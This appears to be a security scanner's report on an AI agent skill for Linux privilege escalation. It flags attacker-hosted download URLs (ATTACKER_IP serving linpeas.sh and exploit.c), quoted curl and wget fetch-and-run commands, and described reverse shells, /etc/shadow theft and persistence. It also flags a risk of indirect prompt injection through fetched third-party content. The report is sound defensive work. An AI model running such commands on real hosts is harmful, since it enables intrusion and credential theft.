linux-privilege-escalation

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). The list includes attacker-controlled HTTP links serving scripts/exploit source (http://ATTACKER_IP:8000/linpeas.sh and http://ATTACKER_IP/exploit.c) which are high-risk direct-downloads, while the GitHub/GTFOBins links point to legitimate privilege‑escalation tools/documentation that — although trusted sources — can be abused; overall the presence of attacker-hosted executables makes this a suspicious/malicious distribution vector.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This skill is high-risk: it provides explicit, actionable instructions for unauthorized privilege escalation and system takeover — including remote code execution (reverse shells, RCE via sudo/LD_PRELOAD/GTFOBins), credential theft and exfiltration (/etc/shadow reading and transfer), persistence and backdoors (cron, SUID binaries, PATH hijacking), kernel exploit usage, and guidance for hosting/transporting exploit payloads — all of which enable deliberate malicious abuse if used outside authorized testing.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.85). The required workflow includes fetching and executing outsider-authored free text from public web sources at runtime (e.g., curl/wget downloads linpeas.sh from GitHub and then less/./linpeas.sh ingests that script text into the agent’s execution/LLM-visible context).

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.90). The skill explicitly fetches and executes remote scripts during runtime (e.g., curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh and wget http://ATTACKER_IP/exploit.c followed by gcc/./exploit), meaning external content is downloaded at runtime and executed on the target.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs the agent to enumerate and exploit vulnerabilities to obtain root (including kernel exploits), modify system files (e.g., /etc/passwd, cron scripts), create SUID binaries, add users, and run reverse shells—actions that directly compromise the host state.